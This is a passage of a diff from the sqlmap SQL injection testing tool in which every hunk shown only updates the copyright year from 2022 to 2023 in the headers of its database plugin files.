(https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/monetdb/filesystem.py +++ b/plugins/dbms/monetdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index 85d0a1591..bda2504eb 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py index 63593591e..1fc6130fc 100644 --- a/plugins/dbms/monetdb/syntax.py +++ b/plugins/dbms/monetdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py index f097e5e2e..f38bd0c89 100644 --- a/plugins/dbms/monetdb/takeover.py +++ b/plugins/dbms/monetdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index e55c3e0c8..28e2dc4af 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 96c41f3ed..92b37287d 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 6654fe67b..e5407ceec 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index ddf7c12f6..1a8e87f41 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 709a4f030..41658cdae 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 9bd4473dd..dad14e4a4 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index d35b0c237..58cf875ad 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 12c652017..04a2bdabb 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index fb7f7a75d..41590b8d7 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 88046b692..8e9d81f7d 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 8dfb5fb7c..e72cbcba3 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index e004ad5ad..d1df204e2 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 25493221a..57399752c 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index c9343a346..31033cca4 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 548843eee..292727d1d 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 02f4db24f..18a70076c 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index eac989b59..038fe84a7 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index d4348b397..d0df7efac 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 5b9061cb5..370d45408 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 3c3888d39..789a59bce 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 2b5ddd4c9..44aa5bfd9 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 8f4344c25..b27b9463b 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 2b9b77829..15a2b48e3 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 665d7b939..f3ced4164 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 24267367d..3f1e0eb36 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 3cbde60eb..3c3f2433e 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index d2217fbd9..face3ba0d 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index b4a576a12..1fa684e4a 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py index 234673163..94c74be1b 100644 --- a/plugins/dbms/presto/__init__.py +++ b/plugins/dbms/presto/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py index fbd0cf123..48473ad02 100644 --- a/plugins/dbms/presto/connector.py +++ b/plugins/dbms/presto/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py index 36b10cc31..9dcf092f3 100644 --- a/plugins/dbms/presto/enumeration.py +++ b/plugins/dbms/presto/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py index eb712e5ab..676338238 100644 --- a/plugins/dbms/presto/filesystem.py +++ b/plugins/dbms/presto/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py index f93a877f3..4a531fedb 100644 --- a/plugins/dbms/presto/fingerprint.py +++ b/plugins/dbms/presto/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py index 51d87d212..b6b6c633d 100644 --- a/plugins/dbms/presto/syntax.py +++ b/plugins/dbms/presto/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py index 150a8b68b..bc0758f42 100644 --- a/plugins/dbms/presto/takeover.py +++ b/plugins/dbms/presto/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py index 037c91bbe..2843bbabc 100644 --- a/plugins/dbms/raima/__init__.py +++ b/plugins/dbms/raima/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/connector.py b/plugins/dbms/raima/connector.py index 4bb5af688..a095cf8c6 100644 --- a/plugins/dbms/raima/connector.py +++ b/plugins/dbms/raima/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py index ac0d73f09..449dad43c 100644 --- a/plugins/dbms/raima/enumeration.py +++ b/plugins/dbms/raima/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py index 3cce1c9aa..d537b09ac 100644 --- a/plugins/dbms/raima/filesystem.py +++ b/plugins/dbms/raima/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py index 7d5d6a66f..0ed21dbcd 100644 --- a/plugins/dbms/raima/fingerprint.py +++ b/plugins/dbms/raima/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py index 9bd95ffd2..27a7f0ddf 100644 --- a/plugins/dbms/raima/syntax.py +++ b/plugins/dbms/raima/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py index 1d42766f9..e375ddb79 100644 --- a/plugins/dbms/raima/takeover.py +++ b/plugins/dbms/raima/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index e2f45b123..4695462c7 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index ef5ea1da3..7ec752f7d 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 2e801d7e5..b5a917674 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index ae16394b1..3bbb5ef83 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 24de50c24..b57e788d0 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 80ef1546c..7e6f4046e 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 8e8eb4a1d..3b96a5c0f 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 374e53323..dee9b5c95 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index bc286b7aa..1514d32e2 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index dda39514a..9f254c977 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 53ee69cc7..ca60dc49a 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index c34db3808..c37b8754e 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 66c0af279..1d4b9cf8b 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 93935a6e5..931f35a44 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py index a857b5f02..55db33d98 100644 --- a/plugins/dbms/vertica/__init__.py +++ b/plugins/dbms/vertica/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py index 0a41e9698..75cf1c161 100644 --- a/plugins/dbms/vertica/connector.py +++ b/plugins/dbms/vertica/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py index 33dee4043..fad906764 100644 --- a/plugins/dbms/vertica/enumeration.py +++ b/plugins/dbms/vertica/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/vertica/filesystem.py +++ b/plugins/dbms/vertica/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py index b4666c614..61ae7c781 100644 --- a/plugins/dbms/vertica/fingerprint.py +++ b/plugins/dbms/vertica/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py index 6c78c4026..016cbf724 100644 --- a/plugins/dbms/vertica/syntax.py +++ b/plugins/dbms/vertica/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py index 2862fe6fa..d65d71769 100644 --- a/plugins/dbms/vertica/takeover.py +++ b/plugins/dbms/vertica/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py index 2e115d437..21b2b75fa 100644 --- 